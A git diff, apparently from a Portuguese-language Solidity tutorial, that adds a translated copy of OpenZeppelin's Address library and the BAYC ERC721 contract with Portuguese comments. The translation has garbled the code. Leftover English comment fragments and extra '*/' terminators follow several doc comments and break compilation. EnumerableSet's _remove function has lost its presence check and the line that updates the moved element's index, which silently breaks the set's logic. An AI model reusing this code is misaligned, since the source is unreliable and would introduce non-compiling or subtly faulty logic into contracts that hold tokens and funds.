{xref-Address-functionCall-address-bytes-}[`functionCall`], mas com + * `errorMessage` como motivo de fallback de revert quando `target` reverte. + * + * _Disponível desde a versão 3.1._ + */ + function functionCall( + address target, + bytes memory data, + string memory errorMessage + ) internal returns (bytes memory) { + return functionCallWithValue(target, data, 0, errorMessage); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], + * mas também transfere `value` wei para `target`. + * + * Requisitos: + * + * - o contrato chamador deve ter um saldo de ETH de pelo menos `value`. + * - a função Solidity chamada deve ser `payable`. + * + * _Disponível desde a versão 3.1._ + */ + function functionCallWithValue( + address target, + bytes memory data, + uint256 value + ) internal returns (bytes memory) { + return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); + } + + /** + * @dev Mesmo que {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], mas + * com `errorMessage` como motivo de fallback de revert quando `target` reverte. + * + * _Disponível desde a versão 3.1._ + */ + function functionCallWithValue( + address target, + bytes memory data, + uint256 value, + string memory errorMessage + ) internal returns (bytes memory) { + require(address(this).balance >= value, "Address: insufficient balance for call"); + require(isContract(target), "Address: call to non-contract"); + + (bool success, bytes memory returndata) = target.call{value: value}(data); + return verifyCallResult(success, returndata, errorMessage); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], + * mas realizando uma chamada estática. + * + * _Disponível desde a versão 3.3._ + */ + function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { + return functionStaticCall(target, data, "Address: low-level static call failed"); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-string-}[`functionCall`], + * mas realizando uma chamada estática. + * + * _Disponível desde a versão 3.3._ + */ + function functionStaticCall( + address target, + bytes memory data, + string memory errorMessage + ) internal view returns (bytes memory) { + require(isContract(target), "Address: static call to non-contract"); + + (bool success, bytes memory returndata) = target.staticcall(data); + return verifyCallResult(success, returndata, errorMessage); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], + * mas realizando uma chamada de delegado. + * + * _Disponível desde a versão 3.4._ + */ + function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { + return functionDelegateCall(target, data, "Address: low-level delegate call failed"); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-string-}[`functionCall`], + * mas realizando uma chamada de delegado. + * + * _Disponível desde a versão 3.4._ + */ + function functionDelegateCall( + address target, + bytes memory data, + string memory errorMessage + ) internal returns (bytes memory) { + require(isContract(target), "Address: delegate call to non-contract"); + + (bool success, bytes memory returndata) = target.delegatecall(data); + return verifyCallResult(success, returndata, errorMessage); + } + + /** + * @dev Ferramenta para verificar se uma chamada de baixo nível foi bem-sucedida e reverter se não foi, seja + * propagando o motivo de reversão usando o fornecido. + * + * _Disponível desde a versão 4.3._ + */ + function verifyCallResult( + bool success, + bytes memory returndata, + string memory errorMessage + ) internal pure returns (bytes memory) { + if (success) { + return returndata; + } else { + // Procurar motivo de reversão e propagá-lo se estiver presente + if (returndata.length > 0) { + // A maneira mais fácil de bolhar a razão de reverter é usando memória via assembly + + assembly { + let returndata_size := mload(returndata) + revert(add(32, returndata), returndata_size) + } + } else { + revert(errorMessage); + } + } + } +} diff --git a/Languages/pt-br/Topics/ERC721/BAYC.sol b/Languages/pt-br/Topics/ERC721/BAYC.sol new file mode 100644 index 000000000..7489bfe9a --- /dev/null +++ b/Languages/pt-br/Topics/ERC721/BAYC.sol @@ -0,0 +1,2021 @@ +/** + * Enviado para verificação em Etherscan.io em 2021-04-22 +*/ + +// Arquivo: @openzeppelin/contracts/utils/Context.sol + +// SPDX-License-Identifier: MIT + +pragma solidity >=0.6.0 <0.8.0; + +/* + * @dev Fornece informações sobre o contexto de execução atual, incluindo o + * remetente da transação e seus dados. Embora essas informações estejam geralmente disponíveis + * através de msg.sender e msg.data, elas não devem ser acessadas de forma direta + * maneira, pois ao lidar com meta-transações GSN, a conta que envia e + * paga pela execução pode não ser o remetente real (pelo menos no que diz respeito a um aplicativo). + * + * Este contrato é necessário apenas para contratos intermediários semelhantes a bibliotecas. + */ + */ +abstract contract Context { + function _msgSender() internal view virtual returns (address payable) { + return msg.sender; + } + + function _msgData() internal view virtual returns (bytes memory) { + // silenciar aviso de mutabilidade de estado sem gerar bytecode - veja https://github.com/ethereum/solidity/issues/2691 + return msg.data; + } +} + +// Arquivo: @openzeppelin/contracts/introspection/IERC165.sol + + + +pragma solidity >=0.6.0 <0.8.0; + +/** + * @dev Interface do padrão ERC165, conforme definido no + * https://eips.ethereum.org/EIPS/eip-165[EIP]. + * + * Implementadores podem declarar suporte a interfaces de contratos, que podem então ser + * consultadas por outros ({ERC165Checker}). + * + * Para uma implementação, veja {ERC165}. + */ +interface IERC165 { + /** + * @dev Retorna verdadeiro se este contrato implementa a interface definida por + * `interfaceId`. Consulte a seção correspondente + * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP] + * para saber mais sobre como esses ids são criados. + * + * Esta chamada de função deve usar menos de 30.000 gas. + */ + function supportsInterface(bytes4 interfaceId) external view returns (bool); +} + +// Arquivo: @openzeppelin/contracts/token/ERC721/IERC721.sol + + + +pragma solidity >=0.6.2 <0.8.0; + + +/** + * @dev Interface necessária de um contrato compatível com ERC721. + */ +interface IERC721 is IERC165 { + /** + * @dev Emitido quando o token `tokenId` é transferido de `from` para `to`. + */ + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + + /** + * @dev Emitido quando `owner` permite que `approved` gerencie o token `tokenId`. + */ + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + + /** + * @dev Emitido quando `owner` habilita ou desabilita (`approved`) `operator` para gerenciar todos os seus ativos. + */ + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + /** + * @dev Retorna o número de tokens na conta do ``owner``. + */ + function balanceOf(address owner) external view returns (uint256 balance); + + /** + * @dev Retorna o proprietário do token `tokenId`. + * + * Requisitos: + * + * - `tokenId` deve existir. + */ + function ownerOf(uint256 tokenId) external view returns (address owner); + + /** + * @dev Transfere com segurança o token `tokenId` de `from` para `to`, verificando primeiro se os destinatários do contrato + * estão cientes do protocolo ERC721 para evitar que os tokens fiquem bloqueados para sempre. + * + * Requisitos: + * + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve existir e ser de propriedade de `from`. + * - Se o chamador não for `from`, ele deve ter sido autorizado a mover este token por meio de {approve} ou {setApprovalForAll}. + * - Se `to` se referir a um contrato inteligente, ele deve implementar {IERC721Receiver-onERC721Received}, que é chamado durante uma transferência segura. + * + * Emite um evento {Transfer}. + */ + function safeTransferFrom(address from, address to, uint256 tokenId) external; + + /** + * @dev Transfere o token `tokenId` de `from` para `to`. + * + * AVISO: O uso deste método é desencorajado, use {safeTransferFrom} sempre que possível. + * + * Requisitos: + * + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve ser de propriedade de `from`. + * - Se o chamador não for `from`, ele deve ser aprovado para mover este token por meio de {approve} ou {setApprovalForAll}. + * + * Emite um evento {Transfer}. + */ + function transferFrom(address from, address to, uint256 tokenId) external; + + /** + * @dev Concede permissão para `to` transferir o token `tokenId` para outra conta. + * A aprovação é removida quando o token é transferido. + * + * Apenas uma única conta pode ser aprovada por vez, portanto, aprovar o endereço zero remove aprovações anteriores. + * + * Requisitos: + * + * - O chamador deve ser o proprietário do token ou um operador aprovado. + * - `tokenId` deve existir. + * + * Emite um evento {Approval}. + */ + function approve(address to, uint256 tokenId) external; + + /** + * @dev Retorna a conta aprovada para o token `tokenId`. + * + * Requisitos: + * + * - `tokenId` deve existir. + */ + function getApproved(uint256 tokenId) external view returns (address operator); + + /** + * @dev Aprova ou remove `operador` como um operador para o chamador. + * Operadores podem chamar {transferFrom} ou {safeTransferFrom} para qualquer token de propriedade do chamador. + * + * Requisitos: + * + * - O `operador` não pode ser o chamador. + * + * Emite um evento {ApprovalForAll}. + */ + function setApprovalForAll(address operator, bool _approved) external; + + /** + * @dev Retorna se o `operador` está autorizado a gerenciar todos os ativos do `proprietário`. + * + * Veja {setApprovalForAll} + */ + function isApprovedForAll(address owner, address operator) external view returns (bool); + + /** + * @dev Transfere com segurança o token `tokenId` de `from` para `to`. + * + * Requisitos: + * + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve existir e ser de propriedade de `from`. + * - Se o chamador não for `from`, ele deve ser aprovado para mover este token por meio de {approve} ou {setApprovalForAll}. + * - Se `to` se referir a um contrato inteligente, ele deve implementar {IERC721Receiver-onERC721Received}, que é chamado durante uma transferência segura. + * + * Emite um evento {Transfer}. + */ + function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; +} + +// Arquivo: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol + + + +pragma solidity >=0.6.2 <0.8.0; + + +/** + * @title Padrão de Token Não-Fungível ERC-721, extensão opcional de metadados + * @dev Veja https://eips.ethereum.org/EIPS/eip-721 + */ +interface IERC721Metadata is IERC721 { + + /** + * @dev Retorna o nome da coleção de tokens. + */ + function name() external view returns (string memory); + + /** + * @dev Retorna o símbolo da coleção de tokens. + */ + function symbol() external view returns (string memory); + + /** + * @dev Retorna o Identificador de Recurso Uniforme (URI) para o token `tokenId`. + */ + function tokenURI(uint256 tokenId) external view returns (string memory); +} + +// Arquivo: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol + + + +pragma solidity >=0.6.2 <0.8.0; + + +/** + * @title Padrão de Token Não-Fungível ERC-721, extensão opcional de enumeração + * @dev Veja https://eips.ethereum.org/EIPS/eip-721 + */ +interface IERC721Enumerable is IERC721 { + + /** + * @dev Retorna a quantidade total de tokens armazenados pelo contrato. + */ + function totalSupply() external view returns (uint256); + + /** + * @dev Retorna um ID de token de propriedade do `owner` em um determinado `índice` de sua lista de tokens. + * Use junto com {balanceOf} para enumerar todos os tokens do `owner`. + */ + function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); + + /** + * @dev Retorna um ID de token em um determinado `índice` de todos os tokens armazenados pelo contrato. + * Use junto com {totalSupply} para enumerar todos os tokens. + */ + function tokenByIndex(uint256 index) external view returns (uint256); +} + +// Arquivo: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol + + + +pragma solidity >=0.6.0 <0.8.0; + +/** + * @title Interface do receptor de tokens ERC721 + * @dev Interface para qualquer contrato que deseje suportar transferências seguras + * de contratos de ativos ERC721. + */ +interface IERC721Receiver { + /** + * @dev Sempre que um token {IERC721} `tokenId` for transferido para este contrato via {IERC721-safeTransferFrom} + * por `operador` de `de`, esta função é chamada. + * + * Ela deve retornar o seletor Solidity para confirmar a transferência do token. + * Se qualquer outro valor for retornado ou a interface não for implementada pelo destinatário, a transferência será revertida. + * + * O seletor pode ser obtido em Solidity com `IERC721.onERC721Received.selector`. + */ + function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); +} + +// Arquivo: @openzeppelin/contracts/introspection/ERC165.sol + + + +pragma solidity >=0.6.0 <0.8.0; + + +/** + * @dev Implementação da interface {IERC165}. + * + * Contratos podem herdar desta implementação e chamar {_registerInterface} para declarar + * seu suporte a uma interface. + */ +abstract contract ERC165 is IERC165 { + /* + * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 + */ + bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; + + /** + * @dev Mapeamento de ids de interface para saber se é suportado ou não. + */ + mapping(bytes4 => bool) private _supportedInterfaces; + + constructor () internal { + // Contratos derivados só precisam registrar suporte para suas próprias interfaces, + // registramos suporte para ERC165 aqui + _registerInterface(_INTERFACE_ID_ERC165); + } + + /** + * @dev Veja {IERC165-supportsInterface}. + * + * Complexidade de tempo O(1), garantido que sempre usará menos de 30.000 gas. + */ + function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { + return _supportedInterfaces[interfaceId]; + } + + /** + * @dev Registra o contrato como um implementador da interface definida por + * `interfaceId`. O suporte à interface ERC165 real é automático e + * registrar seu ID de interface não é necessário. + * + * Veja {IERC165-supportsInterface}. + * + * Requisitos: + * + * - `interfaceId` não pode ser a interface inválida ERC165 (`0xffffffff`). + */ + function _registerInterface(bytes4 interfaceId) internal virtual { + require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); + _supportedInterfaces[interfaceId] = true; + } +} + +// Arquivo: @openzeppelin/contracts/math/SafeMath.sol + + + +pragma solidity >=0.6.0 <0.8.0; + +/** + * @dev Invólucros sobre as operações aritméticas do Solidity com verificações adicionais de overflow. + * + * As operações aritméticas no Solidity envolvem em caso de overflow. Isso pode facilmente resultar em bugs, porque os programadores geralmente assumem que um overflow gera um erro, que é o comportamento padrão em linguagens de programação de alto nível. `SafeMath` restaura essa intuição revertendo a transação quando ocorre um overflow. + * + * Usar essa biblioteca em vez das operações não verificadas elimina uma classe inteira de bugs, por isso é recomendado usá-la sempre. + */ + * `SafeMath` restores this intuition by reverting the transaction when an + * operation overflows. + * + * Using this library instead of the unchecked operations eliminates an entire + * class of bugs, so it's recommended to use it always. + */ +library SafeMath { + /** + * @dev Retorna a adição de dois inteiros não assinados, com uma flag de overflow. + * + * _Disponível desde a versão 3.4._ + */ + function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { + uint256 c = a + b; + if (c < a) return (false, 0); + return (true, c); + } + + /** + * @dev Retorna a subtração de dois inteiros não assinados, com uma flag de overflow. + * + * _Disponível desde a versão 3.4._ + */ + function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { + if (b > a) return (false, 0); + return (true, a - b); + } + + /** + * @dev Retorna a multiplicação de dois números inteiros não assinados, com uma flag de overflow. + * + * _Disponível desde a versão 3.4._ + */ + function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { + // Otimização de gás: isso é mais barato do que exigir que 'a' não seja zero, mas o + // benefício é perdido se 'b' também for testado. + // Veja: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 + if (a == 0) return (true, 0); + uint256 c = a * b; + if (c / a != b) return (false, 0); + return (true, c); + } + + /** + * @dev Retorna a divisão de dois números inteiros não assinados, com uma flag de divisão por zero. + * + * _Disponível desde a versão 3.4._ + */ + function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { + if (b == 0) return (false, 0); + return (true, a / b); + } + + /** + * @dev Retorna o resto da divisão de dois números inteiros não assinados, com uma flag de divisão por zero. + * + * _Disponível desde a versão 3.4._ + */ + function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { + if (b == 0) return (false, 0); + return (true, a % b); + } + + /** + * @dev Retorna a adição de dois inteiros não assinados, revertendo em caso de + * overflow. + * + * Contraparte do operador `+` do Solidity. + * + * Requisitos: + * + * - A adição não pode causar overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a, "SafeMath: addition overflow"); + return c; + } + + /** + * @dev Retorna a subtração de dois números inteiros não assinados, revertendo em caso de + * overflow (quando o resultado é negativo). + * + * Contraparte do operador `-` do Solidity. + * + * Requisitos: + * + * - A subtração não pode causar overflow. + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + require(b <= a, "SafeMath: subtraction overflow"); + return a - b; + } + + /** + * @dev Retorna a multiplicação de dois inteiros não assinados, revertendo em caso de + * overflow. + * + * Contraparte do operador `*` do Solidity. + * + * Requisitos: + * + * - A multiplicação não pode causar overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) return 0; + uint256 c = a * b; + require(c / a == b, "SafeMath: multiplication overflow"); + return c; + } + + /** + * @dev Retorna a divisão inteira de dois números inteiros não assinados, revertendo em + * divisão por zero. O resultado é arredondado em direção a zero. + * + * Contraparte do operador `/` do Solidity. Observação: esta função usa um + * opcode `revert` (que deixa o gás restante intocado), enquanto o Solidity + * usa um opcode inválido para reverter (consumindo todo o gás restante). + * + * Requisitos: + * + * - O divisor não pode ser zero. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + require(b > 0, "SafeMath: division by zero"); + return a / b; + } + + /** + * @dev Retorna o resto da divisão de dois números inteiros não assinados (módulo de número inteiro não assinado), + * revertendo quando dividido por zero. + * + * Contraparte do operador `%` do Solidity. Esta função usa uma operação `revert` + * opcode (que deixa o gás restante inalterado), enquanto o Solidity usa um + * opcode inválido para reverter (consumindo todo o gás restante). + * + * Requisitos: + * + * - O divisor não pode ser zero. + */ + function mod(uint256 a, uint256 b) internal pure returns (uint256) { + require(b > 0, "SafeMath: modulo by zero"); + return a % b; + } + + /** + * @dev Retorna a subtração de dois números inteiros não assinados, revertendo com uma mensagem personalizada em caso de + * overflow (quando o resultado é negativo). + * + * CUIDADO: Esta função está obsoleta porque requer alocar memória para a mensagem de erro + * desnecessariamente. Para motivos de revert personalizados, use {trySub}. + * + * Contraparte do operador `-` do Solidity. + * + * Requisitos: + * + * - A subtração não pode causar overflow. + */ + function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b <= a, errorMessage); + return a - b; + } + + /** + * @dev Retorna a divisão inteira de dois números inteiros não assinados, revertendo com uma mensagem personalizada + * em caso de divisão por zero. O resultado é arredondado em direção a zero. + * + * CUIDADO: Esta função está obsoleta porque requer alocar memória para a mensagem de erro + * desnecessariamente. Para motivos de revert personalizados, use {tryDiv}. + * + * Contraparte do operador `/` do Solidity. Observação: esta função usa um + * opcode `revert` (que deixa o gás restante intocado), enquanto o Solidity + * usa um opcode inválido para reverter (consumindo todo o gás restante). + * + * Requisitos: + * + * - O divisor não pode ser zero. + */ + function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b > 0, errorMessage); + return a / b; + } + + /** + * @dev Retorna o resto da divisão de dois números inteiros não assinados (módulo de número inteiro não assinado), + * revertendo com uma mensagem personalizada quando dividido por zero. + * + * CUIDADO: Esta função está obsoleta porque requer alocar memória para o erro + * mensagem desnecessariamente. Para motivos de reverter personalizados, use {tryMod}. + * + * Contraparte do operador `%` do Solidity. Esta função usa um opcode `revert` + * (que deixa o gás restante intocado), enquanto o Solidity usa um + * opcode inválido para reverter (consumindo todo o gás restante). + * + * Requisitos: + * + * - O divisor não pode ser zero. + */ + function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b > 0, errorMessage); + return a % b; + } +} + +// Arquivo: @openzeppelin/contracts/utils/Address.sol + + + +pragma solidity >=0.6.2 <0.8.0; + +/** + * @dev Coleção de funções relacionadas ao tipo de endereço + */ +library Address { + /** + * @dev Retorna verdadeiro se `conta` for um contrato. + * + * [IMPORTANTE] + * ==== + * Não é seguro assumir que um endereço para o qual esta função retorna + * falso é uma conta de propriedade externa (EOA) e não um contrato. + * + * Entre outros, `isContract` retornará falso para os seguintes + * tipos de endereços: + * + * - uma conta de propriedade externa + * - um contrato em construção + * - um endereço onde um contrato será criado + * - um endereço onde um contrato viveu, mas foi destruído + * ==== + */ + function isContract(address account) internal view returns (bool) { + // Este método depende de extcodesize, que retorna 0 para contratos em + // construção, já que o código é armazenado apenas no final do + // execução do construtor. + + uint256 size; + // solhint-disable-next-line no-inline-assembly + assembly { size := extcodesize(account) } + return size > 0; + } + + /** + * @dev Substituição para o `transfer` do Solidity: envia `amount` wei para + * `recipient`, encaminhando todo o gás disponível e revertendo em caso de erros. + * + * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] aumenta o custo de gás + * de certas opcodes, possivelmente fazendo com que contratos ultrapassem o limite de gás de 2300 + * imposto pelo `transfer`, tornando-os incapazes de receber fundos via + * `transfer`. {sendValue} remove essa limitação. + * + * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Saiba mais]. + * + * IMPORTANTE: porque o controle é transferido para `recipient`, é necessário ter cuidado + * para não criar vulnerabilidades de reentrância. Considere usar + * {ReentrancyGuard} ou o + * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[padrão checks-effects-interactions]. + */ + function sendValue(address payable recipient, uint256 amount) internal { + require(address(this).balance >= amount, "Address: insufficient balance"); + + // solhint-disable-next-line avoid-low-level-calls, avoid-call-value + (bool success, ) = recipient.call{ value: amount }(""); + require(success, "Address: unable to send value, recipient may have reverted"); + } + + /** + * @dev Executa uma chamada de função Solidity usando um `call` de baixo nível. Um + * `call` simples é uma substituição insegura para uma chamada de função: use esta + * função em vez disso. + * + * Se `target` reverter com uma razão de revert, ela é propagada por esta + * função (como chamadas de função Solidity regulares). + * + * Retorna os dados brutos retornados. Para converter para o valor de retorno esperado, + * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. + * + * Requisitos: + * + * - `target` deve ser um contrato. + * - chamar `target` com `data` não deve reverter. + * + * _Disponível desde a versão 3.1._ + */ + function functionCall(address target, bytes memory data) internal returns (bytes memory) { + return functionCall(target, data, "Address: low-level call failed"); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], mas com + * `errorMessage` como motivo de fallback de revert quando `target` reverte. + * + * _Disponível desde a versão 3.1._ + */ + function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { + return functionCallWithValue(target, data, 0, errorMessage); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], + * mas também transfere `value` wei para `target`. + * + * Requisitos: + * + * - o contrato chamador deve ter um saldo de ETH de pelo menos `value`. + * - a função Solidity chamada deve ser `payable`. + * + * _Disponível desde a versão 3.1._ + */ + function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { + return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); + } + + /** + * @dev Mesmo que {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], mas + * com `errorMessage` como motivo de fallback de revert quando `target` reverte. + * + * _Disponível desde a versão 3.1._ + */ + function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { + require(address(this).balance >= value, "Address: insufficient balance for call"); + require(isContract(target), "Address: call to non-contract"); + + // solhint-disable-next-line avoid-low-level-calls + (bool success, bytes memory returndata) = target.call{ value: value }(data); + return _verifyCallResult(success, returndata, errorMessage); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], + * mas realizando uma chamada estática. + * + * _Disponível desde a versão 3.3._ + */ + function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { + return functionStaticCall(target, data, "Address: low-level static call failed"); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-string-}[`functionCall`], + * mas realizando uma chamada estática. + * + * _Disponível desde a versão 3.3._ + */ + function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { + require(isContract(target), "Address: static call to non-contract"); + + // solhint-disable-next-line avoid-low-level-calls + (bool success, bytes memory returndata) = target.staticcall(data); + return _verifyCallResult(success, returndata, errorMessage); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-}[`functionCall`], + * mas realizando uma chamada de delegado. + * + * _Disponível desde a versão 3.4._ + */ + function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { + return functionDelegateCall(target, data, "Address: low-level delegate call failed"); + } + + /** + * @dev Mesmo que {xref-Address-functionCall-address-bytes-string-}[`functionCall`], + * mas realizando uma chamada de delegado. + * + * _Disponível desde a versão 3.4._ + */ + function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { + require(isContract(target), "Address: delegate call to non-contract"); + + // solhint-disable-next-line avoid-low-level-calls + (bool success, bytes memory returndata) = target.delegatecall(data); + return _verifyCallResult(success, returndata, errorMessage); + } + + function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { + if (success) { + return returndata; + } else { + // Procurar motivo de reversão e propagá-lo se estiver presente + if (returndata.length > 0) { + // A maneira mais fácil de bolhar a razão de reverter é usando memória via assembly + + // solhint-disable-next-line no-inline-assembly + assembly { + let returndata_size := mload(returndata) + revert(add(32, returndata), returndata_size) + } + } else { + revert(errorMessage); + } + } + } +} + +// Arquivo: @openzeppelin/contracts/utils/EnumerableSet.sol + + + +pragma solidity >=0.6.0 <0.8.0; + +/** + * @dev Biblioteca para gerenciar conjuntos de tipos primitivos. + * + * Conjuntos têm as seguintes propriedades: + * + * - Elementos são adicionados, removidos e verificados em tempo constante (O(1)). + * - Elementos são enumerados em O(n). Não há garantias sobre a ordem. + * + * ``` + * contract Example { + * // Adicione os métodos da biblioteca + * using EnumerableSet for EnumerableSet.AddressSet; + * + * // Declare uma variável de estado do conjunto + * EnumerableSet.AddressSet private mySet; + * } + * ``` + * + * A partir da versão v3.3.0, conjuntos do tipo `bytes32` (`Bytes32Set`), `address` (`AddressSet`) + * e `uint256` (`UintSet`) são suportados. + */ + * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) + * and `uint256` (`UintSet`) are supported. + */ +library EnumerableSet { + // Para implementar esta biblioteca para vários tipos com o mínimo de código + // repetição possível, escrevemos em termos de um tipo genérico Set com + // valores bytes32. + // A implementação do Set utiliza funções privadas e voltadas para o usuário. + // implementações (como AddressSet) são apenas invólucros em torno do + // Conjunto subjacente. + // Isso significa que só podemos criar novos EnumerableSets para tipos que se encaixam + // em bytes32. + + struct Set { + // Armazenamento dos valores definidos + bytes32[] _values; + + // Posição do valor no array `values`, mais 1 porque o índice começa em 0 + // significa que um valor não está no conjunto. + mapping (bytes32 => uint256) _indexes; + } + + /** + * @dev Adicione um valor a um conjunto. O(1). + * + * Retorna verdadeiro se o valor foi adicionado ao conjunto, ou seja, se ele não + * já estava presente. + */ + function _add(Set storage set, bytes32 value) private returns (bool) { + if (!_contains(set, value)) { + set._values.push(value); + // O valor é armazenado em length-1, mas adicionamos 1 a todos os índices + // e use 0 como valor sentinela + set._indexes[value] = set._values.length; + return true; + } else { + return false; + } + } + + /** + * @dev Remove um valor de um conjunto. O(1). + * + * Retorna true se o valor foi removido do conjunto, ou seja, se ele estava presente. + */ + */ + function _remove(Set storage set, bytes32 value) private returns (bool) { + // Nós lemos e armazenamos o índice do valor para evitar múltiplas leituras do mesmo slot de armazenamento + uint256 valueIndex = set._indexes[value]; + + // Equivalente a contains(set, value) + // Para excluir um elemento do array _values em O(1), trocamos o elemento a ser excluído pelo último elemento em + // o array e, em seguida, remover o último elemento (às vezes chamado de 'swap and pop'). + // Isso modifica a ordem do array, como observado em {at}. + + uint256 toDeleteIndex = valueIndex - 1; + uint256 lastIndex = set._values.length - 1; + + // Quando o valor a ser excluído é o último, a operação de troca é desnecessária. No entanto, como isso ocorre + // tão raramente, ainda fazemos a troca de qualquer maneira para evitar o custo de gás de adicionar uma declaração 'if'. + + bytes32 lastvalue = set._values[lastIndex]; + + // Mova o último valor para o índice onde o valor a ser excluído está + set._values[toDeleteIndex] = lastvalue; + // Atualize o índice para o valor movido + // Todos os índices são baseados em 1 + + // Excluir o slot onde o valor movido estava armazenado + set._values.pop(); + + // Excluir o índice para o slot excluído + delete set._indexes[value]; + + return true; + } else { + return false; + } + } + + /** + * @dev Retorna verdadeiro se o valor estiver no conjunto. O(1). + */ + function _contains(Set storage set, bytes32 value) private view returns (bool) { + return set._indexes[value] != 0; + } + + /** + * @dev Retorna o número de valores no conjunto. O(1). + */ + function _length(Set storage set) private view returns (uint256) { + return set._values.length; + } + + /** + * @dev Retorna o valor armazenado na posição `index` no conjunto. O(1). + * + * Observe que não há garantias sobre a ordem dos valores dentro do + * array, e isso pode mudar quando mais valores forem adicionados ou removidos. + * + * Requisitos: + * + * - `index` deve ser estritamente menor que {length}. + */ + function _at(Set storage set, uint256 index) private view returns (bytes32) { + require(set._values.length > index, "EnumerableSet: index out of bounds"); + return set._values[index]; + } + + // Bytes32Set + + struct Bytes32Set { + Set _inner; + } + + /** + * @dev Adicione um valor a um conjunto. O(1). + * + * Retorna verdadeiro se o valor foi adicionado ao conjunto, ou seja, se ele não + * já estava presente. + */ + function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { + return _add(set._inner, value); + } + + /** + * @dev Remove um valor de um conjunto. O(1). + * + * Retorna true se o valor foi removido do conjunto, ou seja, se ele estava presente. + */ + */ + function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { + return _remove(set._inner, value); + } + + /** + * @dev Retorna verdadeiro se o valor estiver no conjunto. O(1). + */ + function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { + return _contains(set._inner, value); + } + + /** + * @dev Retorna o número de valores no conjunto. O(1). + */ + function length(Bytes32Set storage set) internal view returns (uint256) { + return _length(set._inner); + } + + /** + * @dev Retorna o valor armazenado na posição `index` no conjunto. O(1). + * + * Observe que não há garantias sobre a ordem dos valores dentro do + * array, e isso pode mudar quando mais valores forem adicionados ou removidos. + * + * Requisitos: + * + * - `index` deve ser estritamente menor que {length}. + */ + function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { + return _at(set._inner, index); + } + + // AddressSet + + struct AddressSet { + Set _inner; + } + + /** + * @dev Adicione um valor a um conjunto. O(1). + * + * Retorna verdadeiro se o valor foi adicionado ao conjunto, ou seja, se ele não + * já estava presente. + */ + function add(AddressSet storage set, address value) internal returns (bool) { + return _add(set._inner, bytes32(uint256(uint160(value)))); + } + + /** + * @dev Remove um valor de um conjunto. O(1). + * + * Retorna true se o valor foi removido do conjunto, ou seja, se ele estava presente. + */ + */ + function remove(AddressSet storage set, address value) internal returns (bool) { + return _remove(set._inner, bytes32(uint256(uint160(value)))); + } + + /** + * @dev Retorna verdadeiro se o valor estiver no conjunto. O(1). + */ + function contains(AddressSet storage set, 